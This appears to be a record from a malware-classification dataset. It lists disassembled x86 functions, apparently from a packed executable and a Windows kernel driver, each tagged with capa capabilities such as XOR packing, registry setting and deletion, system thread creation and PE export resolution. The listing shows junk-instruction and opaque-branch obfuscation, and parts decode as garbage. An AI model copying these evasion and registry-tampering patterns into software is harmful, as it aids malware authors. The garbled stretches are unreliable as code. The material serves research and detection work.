joyce8/EMBER2024-capa huggingface dataset:
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x428d7898
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..text_1
nop
mov ebx, 0x4304d8
mov ecx, 0x4708275f
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x401000
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x401029
mov al, byte [esi + 1]
inc esi
test al, al
je 0x401021
cmp al, 0x22
jne 0x401015
cmp byte [esi], 0x22
jne 0x401033
inc esi
jmp 0x401033
cmp al, 0x20
jle 0x401033
inc esi
cmp byte [esi], 0x20
jg 0x40102d
mov al, byte [esi]
test al, al
je 0x40103d
cmp al, 0x20
jle 0x401026
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.004018d4
push 0x404004
push section..data
call fcn.004018ba
test byte [ebp - 0x18], 1
pop ecx
pop ecx
je 0x40106d
movzx eax, word [ebp - 0x14]
jmp 0x401070
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov esi, eax
call fcn.00401123
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1109a
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10398
push 0x16434
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xa3c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov byte [ebp - 0xa40], bl
push 0x7f
pop ecx
xor eax, eax
lea edi, [ebp - 0xa3f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov word [ebp - 0x840], bx
mov edx, 0xff
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x83e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov word [ebp - 0x41c], bx
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x41a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x440], 0x18
mov dword [ebp - 0x43c], ebx
mov dword [ebp - 0x434], 0x240
lea eax, [ebp + 8]
mov dword [ebp - 0x438], eax
mov dword [ebp - 0x430], ebx
mov dword [ebp - 0x42c], ebx
je 0x11151
mov si, si
xchg bx, bx
jne 0x11151
mov al, byte [0x4bb148d3]
outsb dx, byte [esi]
lea eax, [ebp - 0x440]
push eax
push 3
lea eax, [ebp - 0xa44]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
cmp eax, ebx
jl 0x112a3
push 0x11098
lea eax, [ebp - 0x424]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
jb 0x1119f
push esi
mov esi, 0xb484b386
pop esi
jae 0x1119f
out 0xbd, eax
retf
lea eax, [ebp - 0x428]
push eax
push 0x200
lea eax, [ebp - 0xa40]
push eax
push 2
lea eax, [ebp - 0x424]
push eax
push dword [ebp - 0xa44]
call dword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
mov dword [ebp - 0xa4c], eax
cmp eax, ebx
jl 0x11291
push ecx
push edx
sub ecx, eax
test esi, ecx
xor cl, ch
cmp dh, 0x74
or ch, 0x3d
cmp dl, bl
test ecx, 0x5962
or cx, bx
or edx, eax
cmp ch, cl
pop edx
pop ecx
mov ecx, dword [ebp - 0xa38]
lea esi, [ebp - 0xa34]
lea edi, [ebp - 0x840]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebx
push esi
push dx
inc dl
xor bl, dl
inc si
cmp dx, 0x676a
xor bx, 0x35f8
cmp esi, 0x222c
pop dx
pop esi
pop ebx
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x840]
push eax
call fcn.00012084
test al, al
je 0x11291
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.ntoskrnl.exe_wcslen]
pop ecx
lea eax, [eax + eax + 2]
and dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x41c]
push eax
push 2
push 0
lea eax, [ebp - 0x424]
push eax
push dword [ebp - 0xa44]
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
mov dword [ebp - 0xa4c], eax
jmp 0x1128d
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0xa44]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, dword [ebp - 0xa4c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x119ec
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push ebx
push esi
push edi
push 0x7f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]
mov byte [ebp - 0x230], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
jo 0x11a30
push edx
mov dx, 0xbd71
pop edx
jno 0x11a30
popal
stosd dword es:[edi], eax
retf
mov esi, dword [ebp + 8]
cmp esi, ebx
jne 0x11a41
mov eax, 0xc0000001
jmp 0x11b3f
jb 0x11a5f
push esi
mov esi, 0xb484b386
pop esi
jae 0x11a5f
out 0xbd, eax
retf
mov dword [esi], ebx
je 0x11a6a
mov ch, ch
xchg esi, esi
jne 0x11a6a
inc esp
mov edi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [ebp - 0x10]
push 0x171f4
push eax
call edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x30], 0x18
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], 0x240
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
push ebx
push ecx
or bl, ah
sub cl, 0x27
cmp bh, 8
and cx, 0x784f
and bx, 0x94f
pop ecx
pop ebx
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 4]
push 1
push eax
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
jl 0x11b3f
push ecx
push dx
xor ch, ah
or cl, dl
sub dl, 0x3f
inc ch
test esi, ecx
test ch, 0x27
pop dx
pop ecx
lea eax, [ebp - 0x18]
push 0x17294
push eax
call edi
push edx
push cx
push di
or dh, 6
or cl, 0x58
xor dl, dl
inc ch
test ax, cx
dec di
mov edx, 0x33a8
and cx, di
add dx, 0x64c0
pop di
pop cx
pop edx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x230]
push 0x200
push eax
lea eax, [ebp - 0x18]
push 2
push eax
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
mov edi, eax
test edi, edi
jl 0x11b34
mov eax, dword [ebp - 0x224]
mov dword [esi], eax
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x11de0
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push dword [ebp + 8]
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
xor esi, esi
lea eax, [ebp - 8]
mov dword [ebp - 0x20], 0x18
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x14], 0x240
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
push eax
push ebx
push ecx
mov cl, 0x6d
inc ebx
pop ecx
pop ebx
pop eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp + 8]
push 0xf003f
push eax
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
cmp eax, esi
jl 0x11e6f
push eax
push ecx
push edx
test cx, 0x7529
cmp cx, 0x2eaa
dec al
add ecx, 0x45fb
cmp ah, 0x7c
mov al, 0x3a
inc dx
cmp ah, 0x36
and cl, 0x44
pop edx
pop ecx
pop eax
push dword [ebp + 8]
call dword [sym.imp.ntoskrnl.exe_ZwDeleteKey]
push dword [ebp + 8]
mov esi, eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, esi
pop esi
pop ebx
leave
ret 4
Function at 0x11e76
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x103a8
push 0x16434
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x13c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor edx, edx
mov byte [ebp - 0x144], dl
push 0x3f
pop ecx
xor eax, eax
lea edi, [ebp - 0x143]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x44], 0x18
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x38], 0x240
lea eax, [ebp + 8]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], edx
pushal
mov eax, eax
mov cx, 0xebe
popal
lea eax, [ebp - 0x44]
push eax
push 3
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
jl 0x11fee
push dword [ebp + 0x10]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
jl 0x11f28
push dx
mov dx, 0x642f
pop dx
jge 0x11f28
out 0xc4, eax
push ds
xor dl, cl
cld
push ss
stosd dword es:[edi], eax
jo 0x11f29
push edx
cmp bh, byte [eax]
lea eax, [ebp - 0x2c]
push eax
inc ebp
aam 0x50
push 0x100
lea eax, [ebp - 0x144]
push eax
push 2
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x148]
call dword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
mov dword [ebp - 0x14c], eax
test eax, eax
jl 0x11fdc
pushal
test ax, 0xc7b
test ah, ch
or cx, 0x31fd
mov bx, ax
popal
cmp dword [ebp - 0x13c], 4
ja 0x11fdc
push di
push eax
push ecx
test dl, cl
and di, 0x377
cmp ecx, 0x5354
pop ecx
pop eax
pop di
mov ecx, dword [ebp - 0x13c]
lea esi, [ebp - 0x138]
lea edi, [ebp - 0x1c]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x11fdc
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], eax
push 4
lea ecx, [ebp - 0x1c]
push ecx
push 4
push eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x148]
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
mov dword [ebp - 0x14c], eax
jmp 0x11fd8
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x148]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x12026
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
jle 0x1203b
mov si, si
mov si, si
jg 0x1203b
fsub qword [ebp + 0x75ff92c9]
or al, 0x33
test byte [ebp + 0x75fffc45], 8
push dword [ebp + 0xc]
xor esi, esi
lea eax, [ebp - 4]
push dword [ebp + 8]
push esi
push esi
push esi
push esi
push eax
call dword [sym.imp.ntoskrnl.exe_PsCreateSystemThread]
cmp eax, esi
mov dword [ebp + 0xc], eax
jl 0x12073
pushal
test si, di
and ch, dl
and ax, cx
test dl, ah
cmp dh, 0x36
popal
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x122b4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x61c
and byte [ebp - 0x21c], 0
push ebx
push esi
push edi
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x21b]
rep stosd dword es:[edi], eax
and word [ebp - 0x61c], 0
mov ecx, 0xff
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x61a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0xc]
push 0x16af8
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push ebx
xor bx, 0x70c5
sub ebx, eax
or bx, cx
xor bl, bl
test cx, bx
cmp bh, cl
mov bh, 3
pop ebx
lea eax, [ebp - 4]
mov esi, 0x1fe
push eax
lea eax, [ebp - 0x21c]
push esi
push eax
lea eax, [ebp - 0xc]
push 2
push eax
push dword [ebp + 8]
call dword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
test eax, eax
jl 0x12457
push edx
push cx
push di
or dh, 6
or cl, 0x58
xor dl, dl
inc ch
test ax, cx
dec di
mov edx, 0x33a8
and cx, di
add dx, 0x64c0
pop di
pop cx
pop edx
cmp dword [ebp - 4], esi
ja 0x12457
mov ecx, dword [ebp - 0x214]
lea esi, [ebp - 0x210]
mov eax, ecx
lea edi, [ebp - 0x61c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push bx
push si
push edi
or edi, 0x3f3c
and si, cx
pop edi
pop si
pop bx
lea eax, [ebp - 0x61c]
push eax
call fcn.00010ff6
test al, al
je 0x12457
push bx
push edx
push edi
or dh, dh
xor bx, cx
pop edi
pop edx
pop bx
cmp byte [ebp + 0xc], 0
jne 0x1245b
jo 0x123e9
push edx
mov dx, 0xbd71
pop edx
jno 0x123e9
popal
stosd dword es:[edi], eax
retf
lea eax, [ebp - 0x1c]
push eax
call fcn.00014a16
test al, al
je 0x12457
jl 0x12417
push dx
mov dx, 0x642f
pop dx
jge 0x12417
out 0xc4, eax
push ds
xor dl, cl
cld
push ss
stosd dword es:[edi], eax
jo 0x12418
push edx
cmp bh, byte [eax]
mov esi, dword [sym.imp.ntoskrnl.exe__stricmp]
xor eax, sym.imp.ntoskrnl.exe__stricmp
lea eax, [ebp - 0x1c]
push 0x168a4
push eax
call esi
pop ecx
test eax, eax
pop ecx
je 0x12457
jle 0x1243e
push si
pop si
jg 0x1243e
lea eax, [ebp - 0x1c]
push 0x168b4
push eax
call esi
pop ecx
test eax, eax
pop ecx
jne 0x1245b
cmp byte [0x17983], al
je 0x1245b
mov al, 1
jmp 0x1245d
xor al, al
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x124a0
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
jb 0x124c2
mov di, di
nop
nop
nop
jae 0x124c2
loope 0x12498
lodsd eax, dword [esi]
mov dword [edi], esi
cdq
mov eax, dword [0x9750e2b5]
mov esi, 0xffb8ec44
jne 0x124cd
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
add dword [eax], eax
xor ecx, ecx
lea eax, [ebp - 0xc]
mov dword [ebp - 0x2c], 0x18
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x20], 0x240
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
push eax
push edi
test edi, 0x6e34
dec ax
dec ah
or eax, ecx
xor al, dh
or eax, 0x24ad
cmp ax, cx
test eax, eax
dec ah
and di, di
pop edi
pop eax
push ecx
push ecx
push 0x60
push 5
push 3
push 0x80
lea eax, [ebp - 0x14]
push ecx
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 4]
push 0x100003
push eax
call dword [0x17a0c]
test eax, eax
jge 0x1253f
mov eax, 0xc0000001
jmp 0x12577
pushal
test ax, 0xc7b
test ah, ch
or cx, 0x31fd
mov bx, ax
popal
xor eax, eax
lea ecx, [ebp - 0x14]
push eax
push eax
push 0x14
push 0x17570
push ecx
push eax
push eax
push eax
push dword [ebp - 4]
call dword [0x17a10]
push dword [ebp - 4]
mov esi, eax
call dword [0x17a14]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x13cac
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
push ebx
push esi
push edi
push 0x7f
xor edx, edx
pop ecx
xor eax, eax
lea edi, [ebp - 0x42a]
mov word [ebp - 0x42c], dx
push 0x7f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
pop ecx
xor eax, eax
lea edi, [ebp - 0x22a]
cmp byte [0x17982], dl
mov word [ebp - 0x22c], dx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
jne 0x13cf8
mov eax, 0xc0000001
jmp 0x13e64
jb 0x13d10
push di
pop di
jae 0x13d10
scasb al, byte es:[edi]
bound eax, qword [edx]
pushfd
dec esi
call 0xfd99c82
test byte [eax + ebx - 0x7f], 0x4b
lea ecx, [ebx + 0x102c835]
add byte [ebp - 0x5f9713bb], cl
jb 0x13d1e
mov esi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [ebp - 0x14]
push 0x172a0
add byte [eax - 1], dl
salc
push eax
call esi
push eax
push ecx
inc al
sub ah, cl
dec eax
cmp cl, cl
cmp ch, dh
test ch, 0
or cx, bx
test ah, 0x35
test ax, 0x637b
pop ecx
pop eax
lea eax, [ebp - 0xc]
push 0x16540
push eax
call esi
jp 0x13d5d
push si
pop si
jnp 0x13d5d
outsd dx, dword [esi]
cmp ah, byte [edx]
aas
pop esp
salc
jbe 0x13d4f
sbb dword [edi + edx*2], 0xffffff85
mov dword [ecx + 0x68], eax
pushal
jae 0x13d62
push 0x17360
add byte [eax + 8], ch
jne 0x13d67
push 0x17508
add byte [eax], ch
add dword gs:[eax], eax
push 0x16500
push 0x174dc
push 0x17328
lea eax, [ebp - 0x42c]
push 0x17544
push eax
call sub.ntoskrnl.exe_swprintf
add esp, 0x1c
pushal
inc si
dec dh
cmp al, bl
and ah, 0x4d
or dl, 0x4d
sub si, si
popal
lea eax, [ebp - 0x42c]
push eax
push 0x17344
push 0x174dc
push 0x17328
lea eax, [ebp - 0x22c]
push 0x17530
push eax
call sub.ntoskrnl.exe_swprintf
xor ebx, ebx
lea eax, [ebp - 0x14]
add esp, 0x18
mov dword [ebp - 0x2c], 0x18
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], 0x240
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
push ecx
push esi
and ecx, 0x4ed
dec esi
xor ecx, 0x19e7
add si, 0x438f
xor cx, 0x2688
add ch, dh
test ch, 0x5b
pop esi
pop ecx
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 4]
push 2
push eax
call dword [0x17994]
cmp eax, ebx
jl 0x13e64
push edi
push ax
push dx
and ax, 0x4e68
test ch, dh
mov al, 0x4d
dec dx
and dx, cx
pop dx
pop ax
pop edi
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.ntoskrnl.exe_wcslen]
pop ecx
shl eax, 1
push eax
lea eax, [ebp - 0x22c]
push eax
push 2
lea eax, [ebp - 0xc]
push ebx
push eax
push dword [ebp - 4]
call dword [0x17998]
push dword [ebp - 4]
mov esi, eax
call dword [0x179c4]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1427e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
and byte [ebp - 0x230], 0
push esi
push edi
push 0x7f
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]
mov esi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x10]
push 0x171f4
push eax
call esi
and dword [ebp - 0x2c], 0
and dword [ebp - 0x20], 0
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x30], 0x18
mov dword [ebp - 0x24], 0x240
mov dword [ebp - 0x28], eax
push di
push eax
push ecx
test dl, cl
and di, 0x377
cmp ecx, 0x5354
pop ecx
pop eax
pop di
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 4]
push 1
push eax
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
jl 0x14365
lea eax, [ebp - 0x18]
push 0x17280
push eax
call esi
push eax
push edx
cmp dh, al
mov eax, 0x2562
add ax, di
test ax, 0x5cb2
cmp ax, di
cmp ax, di
or al, 0x4c
or eax, ecx
pop edx
pop eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x230]
push 0x200
push eax
lea eax, [ebp - 0x18]
push 2
push eax
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
mov esi, eax
test esi, esi
jl 0x1435a
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x224]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x220]
mov dword [eax + 4], ecx
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, esi
pop edi
pop esi
leave
ret 4

Function at 0x147f2
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
push ebx
and bx, cx
pop ebx
mov esi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [ebp - 0xc]
push 0x171f4
push eax
call esi
xor edi, edi
lea eax, [ebp - 0xc]
mov dword [ebp - 0x2c], 0x18
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x20], 0x240
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], edi
jp 0x1484c
mov ebx, ebx
mov esi, esi
xchg bx, bx
jnp 0x1484c
psrlw mm1, qword [edx + 0x13]
enter 0x626d, 0x3f
daa
in eax, 0x78
retf
push edi
push edi
push edi
lea eax, [ebp - 0x2c]
push edi
push eax
lea eax, [ebp - 4]
push 2
push eax
call dword [sym.imp.ntoskrnl.exe_ZwCreateKey]
cmp eax, edi
jl 0x148af
jbe 0x14872
mov di, di
xchg edi, edi
ja 0x14872
and eax, 0xe2f4cc58
lea eax, [ebp - 0x14]
push 0x17294
push eax
call esi
je 0x1488c
mov di, di
mov edx, edx
xchg ebx, ebx
jne 0x1488c
enter 0x5e1b, 0x11
lea eax, [ebp + 8]
push 4
push eax
push 4
lea eax, [ebp - 0x14]
push edi
push eax
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x1524a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
je 0x152fa
cmp dword [ebp + 0xc], 0
je 0x152fa
jbe 0x1527e
push eax
pop eax
ja 0x1527e
pop esi
fisubr dword [ecx + 0x7a96ed64]
dec esp
push eax
xor ax, bx
pop eax
mov eax, dword [esi + 0x3c]
lea eax, [eax + esi + 0x78]
jl 0x1529f
xchg ecx, ecx
xchg ch, ch
jge 0x1529f
fbstp tbyte [eax - 0x7ce92414]
push ebx
dec eax
daa
add dword [edx], 0x8bdf84
mov eax, dword [eax]
and dword [ebp + 8], 0
add eax, esi
mov ebx, dword [eax + 0x18]
mov ecx, dword [eax + 0x20]
mov edi, dword [eax + 0x24]
mov eax, dword [eax + 0x1c]
add ecx, esi
add edi, esi
add eax, esi
test ebx, ebx
mov dword [ebp - 8], eax
jbe 0x152fa
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
add eax, esi
js 0x152da
mov edx, edx
jns 0x152da
sub eax, 0x1bf31dd6
xchg esi, eax
and byte [ebx], 0xc3
cmp edi, edi
jne 0x152ed
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call dword [sym.imp.ntoskrnl.exe_strncmp]
add esp, 0xc
test eax, eax
je 0x15303
adc eax, 0x830845ff
inc ebp
cld
add al, 0x39
pop ebp
or byte [edx - 0x37], dh
inc dword [ebp + 8]
add dword [ebp - 4], 4
cmp dword [ebp + 8], ebx
jb 0x152c3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc
mov eax, dword [ebp + 8]
mov ax, word [edi + eax*2]
mov word [ebp + 0xc], ax
pushal
test cx, ax
inc ax
popal
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov eax, dword [ecx + eax*4]
jmp 0x152fc

Function at 0x15378
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebx
push cx
push dx
xor ch, bl
pop dx
pop cx
pop ebx
mov esi, dword [ebp + 8]
cmp word [esi], 0x5a4d
jne 0x15439
mov eax, dword [esi + 0x3c]
mov edi, 0x4550
cmp dword [eax + esi], edi
jne 0x15439
push cx
push dx
push eax
cmp dx, cx
inc eax
or cx, cx
inc al
inc cx
test al, 0x3b
and ch, al
mov eax, edx
and cx, 0x7bc9
pop eax
pop dx
pop cx
mov eax, dword [esi + 0x3c]
mov ecx, dword [ebp + 0xc]
add eax, esi
mov dword [ecx], eax
cmp dword [eax], edi
jne 0x15439
jbe 0x153e1
push esi
pop esi
ja 0x153e1
pop ebx
hlt
add dword [ecx], 4
pushaw
push ecx
test bl, ah
or ch, 0x47
pop ecx
popaw
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
mov eax, dword [eax]
add eax, 0x14
mov dword [edx], eax
cmp word [eax], 0x10b
jne 0x15439
push ecx
push edi
push ax
test di, 0x934
test edi, 0x48bd
and edi, eax
and ch, 0xb
cmp cl, 0x6f
mov cl, 0xc
sub di, 0x5090
test cx, di
pop ax
pop edi
pop ecx
mov eax, dword [edx]
mov ecx, dword [ebp + 0x14]
add eax, 0xe0
push 1
mov dword [ecx], eax
pop eax
jmp 0x1543b
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 0x10